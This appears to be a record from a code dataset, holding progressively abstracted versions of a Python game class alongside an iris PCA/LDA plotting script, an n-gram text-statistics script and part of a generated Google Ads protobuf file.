'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<class token>\n<function token>\n<function token>\n<class token>\n<function token>\n\n\nclass Invincible(PowerUps):\n <function token>\n <function token>\n\n\n<function token>\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<class token>\n<function token>\n<function token>\n<class token>\n<function token>\n<class token>\n<function token>\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<class token>\n<function token>\n<function token>\n<class token>\n<function token>\n<class token>\n<function token>\n\n\nclass ScaryBug(object):\n <function token>\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<class token>\n<function token>\n<function token>\n<class token>\n<function token>\n<class token>\n<function token>\n\n\nclass ScaryBug(object):\n <function token>\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n <function token>\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<class token>\n<function token>\n<function token>\n<class token>\n<function token>\n<class token>\n<function token>\n\n\nclass ScaryBug(object):\n <function token>\n <function token>\n <function token>\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<class token>\n<function token>\n<function token>\n<class token>\n<function token>\n<class token>\n<function token>\n<class token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n" ]
false
471
d0448ca8e3fd2f3bb8a3a7ec052e29ab0be6351a
import matplotlib.pyplot as plt from sklearn.decomposition import PCA from sklearn.discriminant_analysis import LinearDiscriminantAnalysis import pandas as pd import numpy as np from sklearn import datasets from sklearn.datasets import make_classification from sklearn.model_selection import train_test_split # a = pd.read_csv('sample20170117_labeled_0207.csv') # X = a.values[0: 100, 0: 110] # y = a.values[0: 100, 110] # y = np.array([1 if i == 1. else -1 for i in y]) iris = datasets.load_iris() X = iris.data y = iris.target target_names = iris.target_names # X, y = make_classification(n_samples=1000, n_features=100, n_classes=2) X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2) pca = PCA(n_components=2) X_r = pca.fit(X).transform(X) lda = LinearDiscriminantAnalysis(n_components=2) X_r2 = lda.fit(X, y).transform(X) plt.figure() colors = ['navy', 'turquoise', 'darkorange'] lw = 2 for color, i, target_name in zip(colors, [0, 1, 2], target_names): plt.scatter(X_r[y == i, 0], X_r[y == i, 1], color=color, alpha=.8, lw=lw, label=target_name) plt.legend(loc='best', shadow=False, scatterpoints=1) plt.title('pca') plt.figure() for color, i, target_name in zip(colors, [0, 1, 2], target_names): plt.scatter(X_r2[y == i, 0], X_r2[y == i, 1], alpha=.8, color=color, label=target_name) plt.legend(loc='best', shadow=False, scatterpoints=1) plt.title('lda') plt.show()
[ "import matplotlib.pyplot as plt\nfrom sklearn.decomposition import PCA\nfrom sklearn.discriminant_analysis import LinearDiscriminantAnalysis\n\nimport pandas as pd\nimport numpy as np\nfrom sklearn import datasets\nfrom sklearn.datasets import make_classification\nfrom sklearn.model_selection import train_test_split\n\n# a = pd.read_csv('sample20170117_labeled_0207.csv')\n# X = a.values[0: 100, 0: 110]\n# y = a.values[0: 100, 110]\n# y = np.array([1 if i == 1. else -1 for i in y])\n\niris = datasets.load_iris()\nX = iris.data\ny = iris.target\ntarget_names = iris.target_names\n\n# X, y = make_classification(n_samples=1000, n_features=100, n_classes=2)\n\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)\n\npca = PCA(n_components=2)\nX_r = pca.fit(X).transform(X)\n\nlda = LinearDiscriminantAnalysis(n_components=2)\nX_r2 = lda.fit(X, y).transform(X)\n\nplt.figure()\ncolors = ['navy', 'turquoise', 'darkorange']\nlw = 2\n\nfor color, i, target_name in zip(colors, [0, 1, 2], target_names):\n plt.scatter(X_r[y == i, 0], X_r[y == i, 1], color=color, alpha=.8, lw=lw, label=target_name)\nplt.legend(loc='best', shadow=False, scatterpoints=1)\nplt.title('pca')\n\nplt.figure()\nfor color, i, target_name in zip(colors, [0, 1, 2], target_names):\n plt.scatter(X_r2[y == i, 0], X_r2[y == i, 1], alpha=.8, color=color, label=target_name)\nplt.legend(loc='best', shadow=False, scatterpoints=1)\nplt.title('lda')\n\nplt.show()\n", "import matplotlib.pyplot as plt\nfrom sklearn.decomposition import PCA\nfrom sklearn.discriminant_analysis import LinearDiscriminantAnalysis\nimport pandas as pd\nimport numpy as np\nfrom sklearn import datasets\nfrom sklearn.datasets import make_classification\nfrom sklearn.model_selection import train_test_split\niris = datasets.load_iris()\nX = iris.data\ny = iris.target\ntarget_names = iris.target_names\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)\npca = PCA(n_components=2)\nX_r = pca.fit(X).transform(X)\nlda = LinearDiscriminantAnalysis(n_components=2)\nX_r2 = lda.fit(X, y).transform(X)\nplt.figure()\ncolors = ['navy', 'turquoise', 'darkorange']\nlw = 2\nfor color, i, target_name in zip(colors, [0, 1, 2], target_names):\n plt.scatter(X_r[y == i, 0], X_r[y == i, 1], color=color, alpha=0.8, lw=\n lw, label=target_name)\nplt.legend(loc='best', shadow=False, scatterpoints=1)\nplt.title('pca')\nplt.figure()\nfor color, i, target_name in zip(colors, [0, 1, 2], target_names):\n plt.scatter(X_r2[y == i, 0], X_r2[y == i, 1], alpha=0.8, color=color,\n label=target_name)\nplt.legend(loc='best', shadow=False, scatterpoints=1)\nplt.title('lda')\nplt.show()\n", "<import token>\niris = datasets.load_iris()\nX = iris.data\ny = iris.target\ntarget_names = iris.target_names\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)\npca = PCA(n_components=2)\nX_r = pca.fit(X).transform(X)\nlda = LinearDiscriminantAnalysis(n_components=2)\nX_r2 = lda.fit(X, y).transform(X)\nplt.figure()\ncolors = ['navy', 'turquoise', 'darkorange']\nlw = 2\nfor color, i, target_name in zip(colors, [0, 1, 2], target_names):\n plt.scatter(X_r[y == i, 0], X_r[y == i, 1], color=color, alpha=0.8, lw=\n lw, label=target_name)\nplt.legend(loc='best', shadow=False, scatterpoints=1)\nplt.title('pca')\nplt.figure()\nfor color, i, target_name in zip(colors, [0, 1, 2], target_names):\n plt.scatter(X_r2[y == i, 0], X_r2[y == i, 1], alpha=0.8, color=color,\n label=target_name)\nplt.legend(loc='best', shadow=False, scatterpoints=1)\nplt.title('lda')\nplt.show()\n", "<import token>\n<assignment token>\nplt.figure()\n<assignment token>\nfor color, i, target_name in zip(colors, [0, 1, 2], target_names):\n plt.scatter(X_r[y == i, 0], X_r[y == i, 1], color=color, alpha=0.8, lw=\n lw, label=target_name)\nplt.legend(loc='best', shadow=False, scatterpoints=1)\nplt.title('pca')\nplt.figure()\nfor color, i, target_name in zip(colors, [0, 1, 2], target_names):\n plt.scatter(X_r2[y == i, 0], X_r2[y == i, 1], alpha=0.8, color=color,\n label=target_name)\nplt.legend(loc='best', shadow=False, scatterpoints=1)\nplt.title('lda')\nplt.show()\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n" ]
false
472
6d7db5b9a64ec25763f5af6ceec1a46d629d549c
import re import ngram import smoothedNgram def split_into_sentences(text): text = text.lower() sentences = re.split(r'(?<!\w\.\w.)(?<![A-Z][a-z]\.)(?<=\.|\?)\s', text) getSentences(sentences,text) return sentences def getTextWithoutSpaces(text): withoutLineBreaks = text.replace("\n", "") withoutSpaces = re.sub(' +', ' ', withoutLineBreaks) return withoutSpaces def getSentences(sentences,text): data = re.findall(r'\b[a-zA-Z]+|[.!?]', text) unique_words = set(data) sentenceCounter=0 wordCounter=0 for i in sentences: sentenceCounter += 1 i = i.lower() words = i.split() wordCounter += len(words) print('Total sentence in the text : ' + str(sentenceCounter-1)) print('Total word in the text : ' + str(wordCounter)) print('Unique word number : ' + str(len(unique_words)-1)) def getText(): file = open("hw01_FireFairies.txt") data = file.read() return data def listResults(): print('') split_into_sentences(getText()) print('') words,listOfBigrams, unigramCounts, bigramCounts = ngram.createBigram(getTextWithoutSpaces(getText())) listOfProbBigram, listOfBigrams, listOfProbUnigram, words = ngram.calcBigramProb(words, listOfBigrams, unigramCounts, bigramCounts) words, flipped = ngram.maxUnigram(listOfProbBigram, listOfBigrams, listOfProbUnigram, words) ngram.findLeastValues(words, flipped) if __name__ == '__main__': listResults()
[ "import re\nimport ngram\nimport smoothedNgram\n\ndef split_into_sentences(text):\n text = text.lower()\n sentences = re.split(r'(?<!\\w\\.\\w.)(?<![A-Z][a-z]\\.)(?<=\\.|\\?)\\s', text)\n getSentences(sentences,text)\n return sentences\n\ndef getTextWithoutSpaces(text):\n withoutLineBreaks = text.replace(\"\\n\", \"\")\n withoutSpaces = re.sub(' +', ' ', withoutLineBreaks)\n return withoutSpaces\n\ndef getSentences(sentences,text):\n data = re.findall(r'\\b[a-zA-Z]+|[.!?]', text)\n unique_words = set(data)\n sentenceCounter=0\n wordCounter=0\n for i in sentences:\n sentenceCounter += 1\n i = i.lower()\n words = i.split()\n wordCounter += len(words)\n print('Total sentence in the text : ' + str(sentenceCounter-1))\n print('Total word in the text : ' + str(wordCounter))\n print('Unique word number : ' + str(len(unique_words)-1))\n\n\ndef getText():\n file = open(\"hw01_FireFairies.txt\")\n data = file.read()\n return data\n\n\ndef listResults():\n print('')\n split_into_sentences(getText())\n print('')\n words,listOfBigrams, unigramCounts, bigramCounts = ngram.createBigram(getTextWithoutSpaces(getText()))\n listOfProbBigram, listOfBigrams, listOfProbUnigram, words = ngram.calcBigramProb(words, listOfBigrams, unigramCounts, bigramCounts)\n words, flipped = ngram.maxUnigram(listOfProbBigram, listOfBigrams, listOfProbUnigram, words)\n ngram.findLeastValues(words, flipped)\n\n\nif __name__ == '__main__':\n listResults()\n", "import re\nimport ngram\nimport smoothedNgram\n\n\ndef split_into_sentences(text):\n text = text.lower()\n sentences = re.split('(?<!\\\\w\\\\.\\\\w.)(?<![A-Z][a-z]\\\\.)(?<=\\\\.|\\\\?)\\\\s',\n text)\n getSentences(sentences, text)\n return sentences\n\n\ndef getTextWithoutSpaces(text):\n withoutLineBreaks = text.replace('\\n', '')\n withoutSpaces = re.sub(' +', ' ', withoutLineBreaks)\n return withoutSpaces\n\n\ndef getSentences(sentences, text):\n data = re.findall('\\\\b[a-zA-Z]+|[.!?]', text)\n unique_words = set(data)\n sentenceCounter = 0\n wordCounter = 0\n for i in sentences:\n sentenceCounter += 1\n i = i.lower()\n words = i.split()\n wordCounter += len(words)\n print('Total sentence in the text : ' + str(sentenceCounter - 1))\n print('Total word in the text : ' + str(wordCounter))\n print('Unique word number : ' + str(len(unique_words) - 1))\n\n\ndef getText():\n file = open('hw01_FireFairies.txt')\n data = file.read()\n return data\n\n\ndef listResults():\n print('')\n split_into_sentences(getText())\n print('')\n words, listOfBigrams, unigramCounts, bigramCounts = ngram.createBigram(\n getTextWithoutSpaces(getText()))\n listOfProbBigram, listOfBigrams, listOfProbUnigram, words = (ngram.\n calcBigramProb(words, listOfBigrams, unigramCounts, bigramCounts))\n words, flipped = ngram.maxUnigram(listOfProbBigram, listOfBigrams,\n listOfProbUnigram, words)\n ngram.findLeastValues(words, flipped)\n\n\nif __name__ == '__main__':\n listResults()\n", "<import token>\n\n\ndef split_into_sentences(text):\n text = text.lower()\n sentences = re.split('(?<!\\\\w\\\\.\\\\w.)(?<![A-Z][a-z]\\\\.)(?<=\\\\.|\\\\?)\\\\s',\n text)\n getSentences(sentences, text)\n return sentences\n\n\ndef getTextWithoutSpaces(text):\n withoutLineBreaks = text.replace('\\n', '')\n withoutSpaces = re.sub(' +', ' ', withoutLineBreaks)\n return withoutSpaces\n\n\ndef getSentences(sentences, text):\n data = re.findall('\\\\b[a-zA-Z]+|[.!?]', text)\n unique_words = set(data)\n sentenceCounter = 0\n wordCounter = 0\n for i in sentences:\n sentenceCounter += 1\n i = i.lower()\n words = i.split()\n wordCounter += len(words)\n print('Total sentence in the text : ' + str(sentenceCounter - 1))\n print('Total word in the text : ' + str(wordCounter))\n print('Unique word number : ' + str(len(unique_words) - 1))\n\n\ndef getText():\n file = open('hw01_FireFairies.txt')\n data = file.read()\n return data\n\n\ndef listResults():\n print('')\n split_into_sentences(getText())\n print('')\n words, listOfBigrams, unigramCounts, bigramCounts = ngram.createBigram(\n getTextWithoutSpaces(getText()))\n listOfProbBigram, listOfBigrams, listOfProbUnigram, words = (ngram.\n calcBigramProb(words, listOfBigrams, unigramCounts, bigramCounts))\n words, flipped = ngram.maxUnigram(listOfProbBigram, listOfBigrams,\n listOfProbUnigram, words)\n ngram.findLeastValues(words, flipped)\n\n\nif __name__ == '__main__':\n listResults()\n", "<import token>\n\n\ndef split_into_sentences(text):\n text = text.lower()\n sentences = re.split('(?<!\\\\w\\\\.\\\\w.)(?<![A-Z][a-z]\\\\.)(?<=\\\\.|\\\\?)\\\\s',\n text)\n getSentences(sentences, text)\n return sentences\n\n\ndef getTextWithoutSpaces(text):\n withoutLineBreaks = text.replace('\\n', '')\n withoutSpaces = re.sub(' +', ' ', withoutLineBreaks)\n return withoutSpaces\n\n\ndef getSentences(sentences, text):\n data = re.findall('\\\\b[a-zA-Z]+|[.!?]', text)\n unique_words = set(data)\n sentenceCounter = 0\n wordCounter = 0\n for i in sentences:\n sentenceCounter += 1\n i = i.lower()\n words = i.split()\n wordCounter += len(words)\n print('Total sentence in the text : ' + str(sentenceCounter - 1))\n print('Total word in the text : ' + str(wordCounter))\n print('Unique word number : ' + str(len(unique_words) - 1))\n\n\ndef getText():\n file = open('hw01_FireFairies.txt')\n data = file.read()\n return data\n\n\ndef listResults():\n print('')\n split_into_sentences(getText())\n print('')\n words, listOfBigrams, unigramCounts, bigramCounts = ngram.createBigram(\n getTextWithoutSpaces(getText()))\n listOfProbBigram, listOfBigrams, listOfProbUnigram, words = (ngram.\n calcBigramProb(words, listOfBigrams, unigramCounts, bigramCounts))\n words, flipped = ngram.maxUnigram(listOfProbBigram, listOfBigrams,\n listOfProbUnigram, words)\n ngram.findLeastValues(words, flipped)\n\n\n<code token>\n", "<import token>\n<function token>\n\n\ndef getTextWithoutSpaces(text):\n withoutLineBreaks = text.replace('\\n', '')\n withoutSpaces = re.sub(' +', ' ', withoutLineBreaks)\n return withoutSpaces\n\n\ndef getSentences(sentences, text):\n data = re.findall('\\\\b[a-zA-Z]+|[.!?]', text)\n unique_words = set(data)\n sentenceCounter = 0\n wordCounter = 0\n for i in sentences:\n sentenceCounter += 1\n i = i.lower()\n words = i.split()\n wordCounter += len(words)\n print('Total sentence in the text : ' + str(sentenceCounter - 1))\n print('Total word in the text : ' + str(wordCounter))\n print('Unique word number : ' + str(len(unique_words) - 1))\n\n\ndef getText():\n file = open('hw01_FireFairies.txt')\n data = file.read()\n return data\n\n\ndef listResults():\n print('')\n split_into_sentences(getText())\n print('')\n words, listOfBigrams, unigramCounts, bigramCounts = ngram.createBigram(\n getTextWithoutSpaces(getText()))\n listOfProbBigram, listOfBigrams, listOfProbUnigram, words = (ngram.\n calcBigramProb(words, listOfBigrams, unigramCounts, bigramCounts))\n words, flipped = ngram.maxUnigram(listOfProbBigram, listOfBigrams,\n listOfProbUnigram, words)\n ngram.findLeastValues(words, flipped)\n\n\n<code token>\n", "<import token>\n<function token>\n\n\ndef getTextWithoutSpaces(text):\n withoutLineBreaks = text.replace('\\n', '')\n withoutSpaces = re.sub(' +', ' ', withoutLineBreaks)\n return withoutSpaces\n\n\ndef getSentences(sentences, text):\n data = re.findall('\\\\b[a-zA-Z]+|[.!?]', text)\n unique_words = set(data)\n sentenceCounter = 0\n wordCounter = 0\n for i in sentences:\n sentenceCounter += 1\n i = i.lower()\n words = i.split()\n wordCounter += len(words)\n print('Total sentence in the text : ' + str(sentenceCounter - 1))\n print('Total word in the text : ' + str(wordCounter))\n print('Unique word number : ' + str(len(unique_words) - 1))\n\n\n<function token>\n\n\ndef listResults():\n print('')\n split_into_sentences(getText())\n print('')\n words, listOfBigrams, unigramCounts, bigramCounts = ngram.createBigram(\n getTextWithoutSpaces(getText()))\n listOfProbBigram, listOfBigrams, listOfProbUnigram, words = (ngram.\n calcBigramProb(words, listOfBigrams, unigramCounts, bigramCounts))\n words, flipped = ngram.maxUnigram(listOfProbBigram, listOfBigrams,\n listOfProbUnigram, words)\n ngram.findLeastValues(words, flipped)\n\n\n<code token>\n", "<import token>\n<function token>\n\n\ndef getTextWithoutSpaces(text):\n withoutLineBreaks = text.replace('\\n', '')\n withoutSpaces = re.sub(' +', ' ', withoutLineBreaks)\n return withoutSpaces\n\n\n<function token>\n<function token>\n\n\ndef listResults():\n print('')\n split_into_sentences(getText())\n print('')\n words, listOfBigrams, unigramCounts, bigramCounts = ngram.createBigram(\n getTextWithoutSpaces(getText()))\n listOfProbBigram, listOfBigrams, listOfProbUnigram, words = (ngram.\n calcBigramProb(words, listOfBigrams, unigramCounts, bigramCounts))\n words, flipped = ngram.maxUnigram(listOfProbBigram, listOfBigrams,\n listOfProbUnigram, words)\n ngram.findLeastValues(words, flipped)\n\n\n<code token>\n", "<import token>\n<function token>\n\n\ndef getTextWithoutSpaces(text):\n withoutLineBreaks = text.replace('\\n', '')\n withoutSpaces = re.sub(' +', ' ', withoutLineBreaks)\n return withoutSpaces\n\n\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n" ]
false
473
654586443e96f84aae70b3ce3263b0458a27334b
# -*- coding: utf-8 -*- # Generated by the protocol buffer compiler. DO NOT EDIT! # source: google/ads/googleads_v1/proto/services/user_interest_service.proto import sys _b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1')) from google.protobuf import descriptor as _descriptor from google.protobuf import message as _message from google.protobuf import reflection as _reflection from google.protobuf import symbol_database as _symbol_database # @@protoc_insertion_point(imports) _sym_db = _symbol_database.Default() from google.ads.google_ads.v1.proto.resources import user_interest_pb2 as google_dot_ads_dot_googleads__v1_dot_proto_dot_resources_dot_user__interest__pb2 from google.api import annotations_pb2 as google_dot_api_dot_annotations__pb2 DESCRIPTOR = _descriptor.FileDescriptor( name='google/ads/googleads_v1/proto/services/user_interest_service.proto', package='google.ads.googleads.v1.services', syntax='proto3', serialized_options=_b('\n$com.google.ads.googleads.v1.servicesB\030UserInterestServiceProtoP\001ZHgoogle.golang.org/genproto/googleapis/ads/googleads/v1/services;services\242\002\003GAA\252\002 Google.Ads.GoogleAds.V1.Services\312\002 Google\\Ads\\GoogleAds\\V1\\Services\352\002$Google::Ads::GoogleAds::V1::Services'), serialized_pb=_b('\nBgoogle/ads/googleads_v1/proto/services/user_interest_service.proto\x12 google.ads.googleads.v1.services\x1a;google/ads/googleads_v1/proto/resources/user_interest.proto\x1a\x1cgoogle/api/annotations.proto\"/\n\x16GetUserInterestRequest\x12\x15\n\rresource_name\x18\x01 \x01(\t2\xcd\x01\n\x13UserInterestService\x12\xb5\x01\n\x0fGetUserInterest\x12\x38.google.ads.googleads.v1.services.GetUserInterestRequest\x1a/.google.ads.googleads.v1.resources.UserInterest\"7\x82\xd3\xe4\x93\x02\x31\x12//v1/{resource_name=customers/*/userInterests/*}B\xff\x01\n$com.google.ads.googleads.v1.servicesB\x18UserInterestServiceProtoP\x01ZHgoogle.golang.org/genproto/googleapis/ads/googleads/v1/services;services\xa2\x02\x03GAA\xaa\x02 Google.Ads.GoogleAds.V1.Services\xca\x02 Google\\Ads\\GoogleAds\\V1\\Services\xea\x02$Google::Ads::GoogleAds::V1::Servicesb\x06proto3') , dependencies=[google_dot_ads_dot_googleads__v1_dot_proto_dot_resources_dot_user__interest__pb2.DESCRIPTOR,google_dot_api_dot_annotations__pb2.DESCRIPTOR,]) _GETUSERINTERESTREQUEST = _descriptor.Descriptor( name='GetUserInterestRequest', full_name='google.ads.googleads.v1.services.GetUserInterestRequest', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='resource_name', full_name='google.ads.googleads.v1.services.GetUserInterestRequest.resource_name', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=195, serialized_end=242, ) DESCRIPTOR.message_types_by_name['GetUserInterestRequest'] = _GETUSERINTERESTREQUEST _sym_db.RegisterFileDescriptor(DESCRIPTOR) GetUserInterestRequest = _reflection.GeneratedProtocolMessageType('GetUserInterestRequest', (_message.Message,), dict( DESCRIPTOR = _GETUSERINTERESTREQUEST, __module__ = 'google.ads.googleads_v1.proto.services.user_interest_service_pb2' , __doc__ = """Request message for [UserInterestService.GetUserInterest][google.ads.googleads.v1.services.UserInterestService.GetUserInterest]. Attributes: resource_name: Resource name of the UserInterest to fetch. """, # @@protoc_insertion_point(class_scope:google.ads.googleads.v1.services.GetUserInterestRequest) )) _sym_db.RegisterMessage(GetUserInterestRequest) DESCRIPTOR._options = None _USERINTERESTSERVICE = _descriptor.ServiceDescriptor( name='UserInterestService', full_name='google.ads.googleads.v1.services.UserInterestService', file=DESCRIPTOR, index=0, serialized_options=None, serialized_start=245, serialized_end=450, methods=[ _descriptor.MethodDescriptor( name='GetUserInterest', full_name='google.ads.googleads.v1.services.UserInterestService.GetUserInterest', index=0, containing_service=None, 